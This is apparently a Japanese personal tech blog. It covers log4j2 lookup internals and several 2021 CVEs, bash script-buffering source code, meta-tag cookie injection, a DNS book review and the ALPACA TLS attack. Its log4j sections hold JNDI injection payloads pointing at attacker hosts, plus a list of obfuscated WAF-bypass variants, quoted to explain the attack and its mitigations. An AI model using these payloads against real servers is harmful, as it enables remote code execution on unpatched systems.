てきとうなメモ

本の感想とか技術メモとか

log4j2のlookupの変数展開シンタックス

変数展開シンタックス

CVE-2021-44228の件でLookupにおける変数展開をどうしているのか気になったので、StrSubstitutor.substituteの辺りを読んでみた。

${...}となっている部分のシンタックスは以下のようになっている。

${varName}
${varName:-varDefaultValue}
${varName:\-comment:-varDefaultValue}

varNameは変数名。commentは無視される。varDefaultValueはvarNameをlookupした結果がnullだった場合の値である。

varDefaultValueが設定されていない場合、変数展開はされず、そのままの文字列のままになる。

例えば、

${::-j}

は、「:」がvarName、jがvarDefaultValueになり、:はlookupできないため、デフォルト値のjに展開される。

varNameは以下のようにprefixとnameに分かれる。

prefix:name

prefixはどのLookupを使うのかのkeyになる。jndiだったらJndiLookup、lowerだったらLowerLookupのコードが実行される。InterpolatorでどのprefixがどのLookupを使うかを管理している。

さらに、この変数展開は入れ子再帰をサポートしている。

入れ子は以下のようなものである。

${${x}}

${x} = y, ${y} = z であれば、これはzに展開される。

再帰は次のようなものである。

${x} = ${y}, ${y} = zであれば

${x}

はzに展開される。

CVE-2021-45105

再帰に関してはv2.14.1の時点でもStrSubstitutor.checkCyclicSubstitutionで無限に再帰するのをチェックしている。再帰呼び出しをするときに変数名を保持し、同名の変数名の展開になった場合に例外を出力している。

しかし、入れ子の処理における再帰呼び出しの場合は変数名を保持して再帰呼び出しをしていない。そのため、CVE-2021-45105の脆弱性が発生していた。

${x} = ${${x}}としておくと、無限に変数展開されていく。同名の変数を利用しているのだが、入れ子の処理の再帰呼び出しでは前回展開した変数名を保持していない。そのため、無限に再帰呼び出しが実行され、スタックが枯渇し、DoS攻撃が可能となっていた。

この脆弱性はv2.17.0で解消している。

metaタグによるSet-Cookie

metaタグでSet-Cookieできる(できた)ことを知らなかった。

<meta http-equiv="Set-Cookie" content="sessionid=xxxxx">

metaタグをインジェクト可能な脆弱性が存在すると攻撃者がcookieを設定させることができてしまう。

ただ、現行のHTML Living Standardによると

HTML Standard

Set-Cookie state (http-equiv="set-cookie") This pragma is non-conforming and has no effect.

User agents are required to ignore this pragma.

となっているのでユーザエージェントは無視しないといけない。

試してみると以下のようにIE以外は無視しているようだ。

ブラウザ バージョン Set-Cookieできる?
IE 11 o
Edge 97 x
Chrome 96 x
FireFox 95 x
Safari 15 x

bashのスクリプト読み込みの動き

www.iimc.kyoto-u.ac.jp https://www.iimc.kyoto-u.ac.jp/services/comp/pdf/file_loss_insident_20211228.pdf

bash は、シェルスクリプトの実行中に適時シェルスクリプトを読み込みます。この挙動によ る副作用を認識できておらず、実行中のスクリプトが存在している状態でスクリプトの上書きに よりリリースしてしまったことで、途中から修正したシェルスクリプトの再読み込みが発生し、 結果的に未定義の変数を含む find コマンドが実行されてしまいました。この結果、本来のログ ディレクトリに保存されたファイルの削除をする処理ではなく、/LARGE0 のファイルを削除し てしまいました

これは怖い。ただ、スクリプト含めソフトウェアの実行中にソフトウェアをアップデートするのは、うまくいくかもしれんが怖いのでやらないという認識かなあ。

で、bashの場合1行ずつ読み込んでいるの?バッファしていないの?という部分が疑問だった。

以下の記事を見ると、スクリプト実行途中で再読み込みが発生してるっぽい

qiita.com

で、ちょっと調べてみた。

以下で調べている方がいて、だいたい似たような話になる。

(vimの設定に気づいておらず、記事を見るまで現象を再現できなかった。感謝) zenn.dev

結論としてバッファは使っている。input.cの以下の変数にファイルディスクリプタをインデックスにした配列として保存している

static BUFFERED_STREAM **buffers = (BUFFERED_STREAM **)NULL;

バッファをメモリ上に確保しているのは以下。

BUFFERED_STREAM *
fd_to_buffered_stream (fd)
     int fd; 
{
  char *buffer;
  size_t size;
  struct stat sb; 

  if (fstat (fd, &sb) < 0)
    {   
      close (fd);
      return ((BUFFERED_STREAM *)NULL);
    }   

  size = (fd_is_seekable (fd)) ? min (sb.st_size, MAX_INPUT_BUFFER_SIZE) : 1;
  if (size == 0)
    size = 1;
  buffer = (char *)xmalloc (size);

  return (make_buffered_stream (fd, buffer, size));
}

バッファを確保する時にファイルのサイズ(sb.st_size)とMAX_INPUT_BUFFER_SIZEの小さい方を設定してxmallocしている。MAX_INPUT_BUFFER_SIZEは8kぐらい。

この値がBUFFERED_STREAMのb_sizeとして保存される。実際にスクリプトを読み込む時にb_fill_bufferでzreadを呼び、zread(lib/sh/zread.c)はread(2)を呼び、読み込むサイズとしてb_sizeが指定される。

static int
b_fill_buffer (bp)
     BUFFERED_STREAM *bp;
{
...
  nr = zread (bp->b_fd, bp->b_buffer, bp->b_size);

b_fill_bufferはこんな感じのスタックで呼ばれる

#0  b_fill_buffer (bp=0x771790) at input.c:494
#1  0x000000000047ccb2 in buffered_getchar () at input.c:576
#2  0x0000000000428046 in yy_getc () at /Users/chet/src/bash/src/parse.y:1422
#3  0x0000000000428f9d in shell_getc (remove_quoted_newline=1) at /Users/chet/src/bash/src/parse.y:2358
#4  0x000000000042a819 in read_token (command=0) at /Users/chet/src/bash/src/parse.y:3290
#5  0x0000000000429cc8 in yylex () at /Users/chet/src/bash/src/parse.y:2797
#6  0x0000000000424b85 in yyparse () at y.tab.c:1835
#7  0x0000000000424725 in parse_command () at eval.c:347
#8  0x0000000000424807 in read_command () at eval.c:391
#9  0x00000000004241ee in reader_loop () at eval.c:138
#10 0x0000000000421cf4 in main (argc=2, argv=0x7fffffffe108, env=0x7fffffffe120) at shell.c:811

ただ、このままだと8Kもしくはファイルサイズだけバッファしているので、小さなスクリプトだと更新した情報を読み込まないのでは?しかし、デバッグしていると読み込んでいる。何か変な動きをしていて、どこかでファイルディスクリプタのオフセットが戻っているように見えるが、それがどこなのかわからなかった。

こちらの方のツイートで謎が解けた。外部コマンドを実行時にsync_buffered_stream内でlseek(2)して、ファイルディスクリプタのオフセットを外部コマンドの行の後に設定しているということがわかった。

/* Seek backwards on file BFD to synchronize what we've read so far
   with the underlying file pointer. */
int
sync_buffered_stream (bfd)
     int bfd;
{
  BUFFERED_STREAM *bp;
  off_t chars_left;

  if (buffers == 0 || (bp = buffers[bfd]) == 0)
    return (-1);

  chars_left = bp->b_used - bp->b_inputp;
  if (chars_left)
    lseek (bp->b_fd, -chars_left, SEEK_CUR);
  bp->b_used = bp->b_inputp = 0;
  return (0);
}

b_usedがBUFFERED_STREAM上で有効なサイズ、b_inputpがBUFFERED_STREAM上でこれまで読み込んだインデックスなので、外部コマンドの後ろにファイルディスクリプタのオフセットが移動する

このときのスタックはこんな感じ。

#0  sync_buffered_stream (bfd=255) at input.c:557
#1  0x000000000045730e in make_child (command=0x7726d0 "sleep 5", flags=0) at jobs.c:2171
#2  0x0000000000443eb4 in execute_disk_command (words=0x771c90, redirects=0x0, command_line=0x772650 "sleep 5", pipe_in=-1, pipe_out=-1, async=0, fds_to_close=0x7719d0,
    cmdflags=0) at execute_cmd.c:5507
#3  0x0000000000442799 in execute_simple_command (simple_command=0x771910, pipe_in=-1, pipe_out=-1, async=0, fds_to_close=0x7719d0) at execute_cmd.c:4668
#4  0x000000000043b76f in execute_command_internal (command=0x7718d0, asynchronous=0, pipe_in=-1, pipe_out=-1, fds_to_close=0x7719d0) at execute_cmd.c:845
#5  0x000000000043acbd in execute_command (command=0x7718d0) at execute_cmd.c:395
#6  0x00000000004242f7 in reader_loop () at eval.c:170
#7  0x0000000000421cf4 in main (argc=2, argv=0x7fffffffe108, env=0x7fffffffe120) at shell.c:811

さらに、sync_buffered_streamの中ではb_usedとb_inputpが0に設定され、外部コマンドの後ろは読み込んでいないことになるので、次に1文字読み込もうとした時、バッファからは取得せずに、b_fill_bufferが実行されファイルをreadすることになる。

log4j2の脆弱性(CVE-2021-44832)

「Apache Log4j」にまたRCE脆弱性 ~修正版のv2.17.1などが公開 - 窓の杜

Log4j – Apache Log4j Security Vulnerabilities

Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code. This issue is fixed by limiting JNDI data source names to the java protocol in Log4j2 versions 2.17.1, 2.12.4, and 2.3.2.

またRCE脆弱性が出てたのだけども、JDBC Appenderを利用していて、攻撃者がその設定を変更可能な場合のみなので、問題になるケースは少なそう。

対応する場合は、v2.17.1/v2.12.4/v2.3.2にアップデートする

Refactor to reuse existing code. · apache/logging-log4j2@05db5f9 · GitHub

↑の修正内容を見るに、JDBC AppenderではこれまでJndiManagerを通さずに直接JNDIのlookupメソッドを実行していたようだ。v2.16.0の修正でJndiManagerにまとめようとしていたはずなので、そこから漏れたのかな。

あと、プロパティにlog4j2.enableJndiJdbc(JDBC AppenderにおけるJNDIを有効にするかどうか)が追加されたようだ

log4j2の脆弱性(CVE-2021-44228)

少し調べたのでメモ

概要

外部からの入力をlog4jでそのままログ出力しようとすると、任意のコードを実行できる脆弱性

CVE-2021-45046とv2.16.0について

v2.15.0で修正されたかに見えたが、MessagePatternConverter以外の攻撃経路が見つかった。そのため、v2.16.0へのアップデートが推奨される。formatMsgNoLookupsや%m{nolookups}では防げない経路なので、これらによる対策も不十分である。

v2.16.0ではJNDIの機能そのものをデフォルトでオフにして、メッセージ内のLookup機能は削除されている。

ただし、v2.15.0のデフォルト設定でJNDIへのアクセスはlocalhost等の自身へのアクセスに限られているので、危険度は低い localhostのbypass手段が見つかったようだ。そのため、Lookup可能な経路で攻撃されるとJNDI Injectionで外部のLDAP等に接続することができる模様。

攻撃経路については、以下の部分を参照。

Log4j – Apache Log4j Security Vulnerabilities

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

 

The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.

攻撃方法

  1. 攻撃者が攻撃対象のサービスのログを出力してそうなところに${jndi:ldap://attacker.com/a}みたいな入力を入れる
  2. 攻撃対象のサーバはこの入力をログに出力しようとする。log4jの機能で${jndi:ldap://attacker.com/a}を変数展開しようとして、attacker.comにLDAPでアクセスする。
  3. attacker.comは攻撃者の管理するホストで、そのLDAPサーバはJavaのReferenceオブジェクト(をシリアライズしたもの)を返す。Referenceオブジェクトはhttp://attacker2.com/B.classのような参照先を含む
  4. 攻撃対象のサーバは参照先のB.classをロードしてオブジェクトを生成しようとする。この時、Bクラスのstaticブロックが実行される。

何が影響するか

以下の条件に当てはまるソフトウェア(Webアプリを想定しがちだが、Java製でlog4jを利用して外部入力を受け取ってログに吐いているなら該当する)

  • log4jの 2.0-beta9〜2.14.1を利用(v2.15.0も攻撃可能なケースがある)
  • Java 6u211、7u201、8u191、11.0.1未満を利用
  • 外部入力をそのままログ出力している

(追記:2021/12/15 7:33) v2.15.0においても、デフォルトの設定でJNDIを実行できる経路が見つかったので、v2.15.0もある程度影響がある。ただし、v2.15.0デフォルトでlocalhostにしかアクセスできないので、危険性は低い

影響のあるサービス、アプリ

以下でリストアップしているっぽい。

GitHub - YfryTchsGD/Log4jAttackSurface

(追記: 2021/12/12 18:55)

あくまでJndiLookupの実行までの確認で、RCEまで実行できるかは別ものだと思われる。

${jndi:ldap://xxx.dnslog.cn/a}を入力して、対象サーバにldap://xxx.dnslog.cn/aにアクセスさせて、xxx.dnslog.cnの名前解決をさせて、xxx.dnslog.cnに名前解決があったことを記録するのだと。

1.xは影響があるのか

ITMediaの記事で1.xもと書かれてあった。

「やばすぎる」 Javaライブラリ「Log4j」にゼロデイ脆弱性、任意のリモートコードを実行可能 iCloudやSteam、Minecraftなど広範囲のJava製品に影響か - ITmedia NEWS

この脆弱性の影響があるのは、Log4jのバージョン2.0から2.14.1までと当初みられていたが、Log4jGitHub上の議論では、1.x系も同様の脆弱性を抱えていることが報告されている。対策には、修正済みのバージョンである2.15.0-rc2へのアップデートが推奨されている。

しかし、1.xにはJndiLookupの機能がないので、今回の脆弱性は存在しないと考える。

(追記) JMSAppenderの話っぽい

Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub

If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input

JMSAppenderを利用していて、TopicBindingName/TopicConnectionFactoryBindingNameに攻撃者のLDAPのURLを設定できれば同様のことが可能なのだが、これにはlog4jの設定ファイルを攻撃者が修正可能であるという前提が必要。

さすがにこれを持って1.xも同様の脆弱性があるとするのは違うのではと思う。

原因

log4jにJndiLookupの機能がありデフォルトで有効になっていたことと、JavaにJDNI Injectionの脆弱性があったことの合わせ技。

JndiLookup

log4j2からLookupという機能が追加された。

これは変数を展開する機能で、例えば${env:USER}という文字列はUSER環境変数の値に展開される。

JndiLookupはLookupの1つで、${jndi:xxxx}という変数をJNDIでxxxxをlookupした値に展開する.この時のJNDI Injectionが利用されて、任意のコードが実行される。

Lookupの動きは、MessagePatternConverter→StrSubstitutor→Interpolator,各種Lookupという流れでコードを読むとなんとなく理解できる。

JNDI Injection

詳しくはこちらを参照。

JNDIはJavaの名前解決、ディレクトリサービス機能であり、LDAPRMI、CORBAなどに統一的なインターフェースでアクセスすることができる。

ctx.bind(name, value); // ctxはjavax.naming.Context

で名前に対する値を保存でき

Object value = ctx.lookup(name);

で、名前を指定して、値を取得することができる。値はJavaのオブジェクトを指定でき、LDAPにもシリアライズした形で保存される。

さらに、JNDIにはReferenceというクラスがあり、保存するオブジェクトのファクトリクラスをディレクトリサービスとは別の場所に保存して参照する仕組みがある。この参照先にhttp://attacker2.com/B.classなどを指定すると、lookupする時にB.classをロードしようとしてクラスBのstaticブロックが実行されるというものである。

この問題に関しては、6u211、7u201、8u191、11.0.1 で修正が入ったため、新しいJavaのバージョンでは攻撃できない。 今回攻撃されたのは、これら未満のバージョンを利用していたのだと思われる。

リンク先にはRMIやCORBAでの攻撃方法も紹介されている。

対策

log4jを修正版のv2.15.0v2.16.0にアップデートする

一番正攻法。

(追記:2021/12/15 7:33) v2.15.0でもJNDIを実行可能な経路があるため、v2.16.0にアップデートした方が良い

formatMsgNoLookups=trueにする

JVM起動時に-Dlog4j2.formatMsgNoLookups=trueにしたり環境変数LOG4J_FORMAT_MSG_NO_LOOKUPSをtrueにしてJVMを起動する。

v2.10.0以上の場合のみ有効。Lookupの機能がオフになる。

(追記:2021/12/15 7:33) CVE-2021-45046において、MessagePatternConverter以外の別の経路の攻撃方法が見つかったので、この方法は推奨できない

%mを%m{nolookups}に変更する

log4jの設定ファイルで、%mと書いている部分を%m{nolookups}に変更する。

Pattern(log4jでどのようなフォーマットでログを出力するかを指定する部分)の%m(ログ出力メソッドに渡した文字列引数の値)でLookupを実行しないようにしている。

v2.7.0以上の場合のみ有効。

(追記:2021/12/15 7:33) CVE-2021-45046において、MessagePatternConverter以外の別の経路の攻撃方法が見つかったので、この方法は推奨できない

Javaをアップデートする

6u211、7u201、8u191、11.0.1以上にすると、今回の攻撃に利用されるJNDI Injectionができなくなる。

ただし、8u191以上でも攻撃可能な方法があるようだ。

ただ、リンク先の記事はTomcatが対象であり、Tomcatで攻撃可能な部分(BeanFactoryとELProcessor)を利用して攻撃しており、今回のような攻撃者が作成したクラスファイルを指定する方法とは異なる。攻撃対象にELProcessorのようなevalの機能があるクラスがないとうまくいかないと思われる。

(追記:2021/12/16 07:16) Tomcat以外にも攻撃可能な方法が見つかっているようなので、これも推奨できない

log4jのjarファイルからJndiLookup.classを削除する

JndiLookupの機能を強制削除できるので有効であるが、例外が発生すると思うので、その時どうなるかは検証する必要がある。

WAFを利用する

WAFで${jndi:xxx}のような入力をブロックするという方法はある。

AWSではWAFのルールが追加されたようである。

Log4jの脆弱性対策としてAWS WAFのマネージドルールに「Log4JRCE」が追加されました | DevelopersIO

ただし、以下のようなBypass方法はある模様。AWSで対応しているかどうかは不明。

GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j 远程代码执行

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

lower:は文字列を小文字に変換するLookup。あとは、Javaのバージョンが古いとLDAPではなくRMIのサーバを利用して攻撃可能ということかな。

FireWallLDAP等のアクセスを防ぐ

根本的な解決策ではないので、あまり推奨しない。

また、外部入力からLDAPサーバのポートは指定可能なので、ポートではなくアプリケーションプロトコルを見てブロックする必要がある。

log4j 2.15.0における修正

以下の2つがメインかな。

こんな感じの修正が入っている。

  • デフォルトでメッセージ内のLookupをしないようにした
    • %m{lookup}でlookupするようになる
    • formatMsgNoLookupsの指定もできなくなった
  • JndiLookupを制限
    • プロトコルを制限
      • デフォルトでjava/ldap/ldapsに制限
      • その他のプロトコルを使いたい場合はlog4j2.allowedJndiProtocolsに指定する
    • LDAPにアクセスする場合のホストの制限
      • デフォルトでローカルのホスト名とIPアドレス(ex. localhost, 127.0.0.1)に制限
      • その他のホストにアクセスする場合はlog4j2.allowedLdapHostsに指定する
    • LDAPからJavaのオブジェクトを取得する場合のクラスの制限
      • デフォルトでJavaのプリミティブなクラス(ex. Integer, Double, String)に制限
      • その他のクラスのオブジェクトを取得する場合はlog4j2.allowedLdapClassesに指定する
    • LDAPからReferenceは取得しない

参考

CVE-2021-44228について

JNDI Injectionについて

DNSがよくわかる教科書

DNSの知識が足りていない気がして教科書的なものを読んでみたくなって、読んでみた。

DNSの基本的な仕組みから、DNSSECやQNAME minimisation、DNS over TLSDNS over HTTPSなどセキュリティやプライバシーを考慮した拡張仕様の話など一通り書かれてあった。 JPRSの人が書いているので、JPドメインの管理運用みたいな話も書かれているのが、特徴的な気がする。

ただ、やはり入門書であって各仕様の詳細については書かれていないので、そのあたりはRFCを読んでいかないといけないな。

ALPACA Attack

ALPACA Attack

論文ちょっと読んでみた。

サーバAへのリクエストを同じサーバ証明書を利用している別プロトコルのサーバBに流すことで、秘密情報を盗んだり、XSS攻撃をすることができるという話。攻撃者はクライアントとサーバの間にいて、TLS通信を本来のサーバAからサーバBに流すことで攻撃している。

Attack Overview

公式サイトにあるこの図を用いて説明すると、被害者は攻撃者が用意したサイト(www.atacker.com)にいる。このサイトでクロスサイトのリクエストをwww.bank.com:443に投げる。www.attacker.comは攻撃者のサイトなので、POSTの内容は攻撃者が指定することができる。

被害者のクライアントとwww.bank.com:443の間に攻撃者は存在し、リクエストをftp.bank.com:990などに流す。TLSは(SNIやAPLNを利用しないと)プロトコル、ホスト名、ポート番号が意図していたものかを確認しないため、攻撃者はリクエストを別ホスト、別ポート、別プロトコルに流すことができる。

この時点でcookie等秘密情報をftp.bank.comに流すことができている。ftp.bank.comの実装がこの情報をログに出すなどしており、攻撃者がftp.bank.comのログを見ることができるのであれば、この秘密情報を盗むことができる(Upload Attack)。

さらに、攻撃者はftp.bank.comのレスポンスをクライアントにwww.bank.comのレスポンスとして返すことができる。ここに含まれるJavaScriptがクライアント(ブラウザ)上で実行されるとXSS攻撃となる(Download Attack)。

別の方法として、www.attacker.com上でFTPとして解釈するとエラーメッセージを返すようなリクエスト「HELP 」をwww.bank.com:443に投げる。中間者攻撃をしてこれをftp.bank.com:990に流す。そうすると、ftp.bank.comはFTPのエラーメッセージとして「Unknown command: 」を返す。しかし、クライアントはブラウザなので、HTTPのレスポンスとして解釈され、スクリプトが実行される(Reflection Attack)。

図ではFTPサーバにリクエストを流して攻撃しているが、論文では他にSMTP,POP3,IMAPなどメールサーバを使っても攻撃可能としている。

攻撃条件

攻撃が可能である条件は

  • 被害者をwww.attacker.comに誘導する
  • 被害者と攻撃対象サイト(www.bank.com:443)に対して中間者攻撃ができる
  • HTTPのリクエストが来てもリクエストを流す先のサーバがエラーにしないような実装になっている必要がある
    • この条件が厳しそうに見えるが、そういう実装はそれなりにあることが論文で指摘されている
  • Download AttackやReflect Attackの場合、ブラウザがIEや古いEdge(非Chromium)のようにContent Sniffingする仕組みを持っている必要がある
    • HTTP上のHTMLではないレスポンスが返るのが、それをブラウザにHTTP上でHTMLを返していると誤解させる必要がある
  • 攻撃対象のサーバと中間者がリクエストを流す先のサーバが同じ証明書を利用している

と、かなり難しい。

HTTPのリクエストを受け入れるHTTP以外のサーバ実装

そんなになさそうに見えるのだが、調査したほとんどのSMTP/POP3/IMAP/FTP実装では「POST / HTTP/1.1」のようなリクエストラインやリクエストヘッダまでは受け入れる動作をしている。ただし、そこから先のリクエストをエラーでコネクションが切れることなく攻撃可能かとなると難しい。ただし、SendMail(SMTP)、Cyrus(IMAP)、Courier(POP3)、Microsoft IIS、vsftpd、FileZilla Server(FTP)などの有名所のサーバ実装を利用して攻撃が可能になるようだ。

対策

別のサーバには別の証明書を用いれば良いのではとなるが、実運用上はワイルドカードの証明書使いたいだろうし、難しいよねとしている。

ALPNやSNIを正しく実装することで、TLSを使っているが、そのプロトコルはHTTPなのかFTPなのか、ホスト名はwww.bank.comなのかftp.bank.comなのかを決めてから通信すれば、今回のような攻撃を防ぐことができる。ALPNはHTTP/2が広まったため実装しているHTTPクライアント/サーバは増えている。しかし、プロトコルネゴシエーションに失敗しても通信を切るような実装になっていなかったり、HTTP以外のTLS通信可能なサーバがALPNをほとんどサポートしていないという問題がある。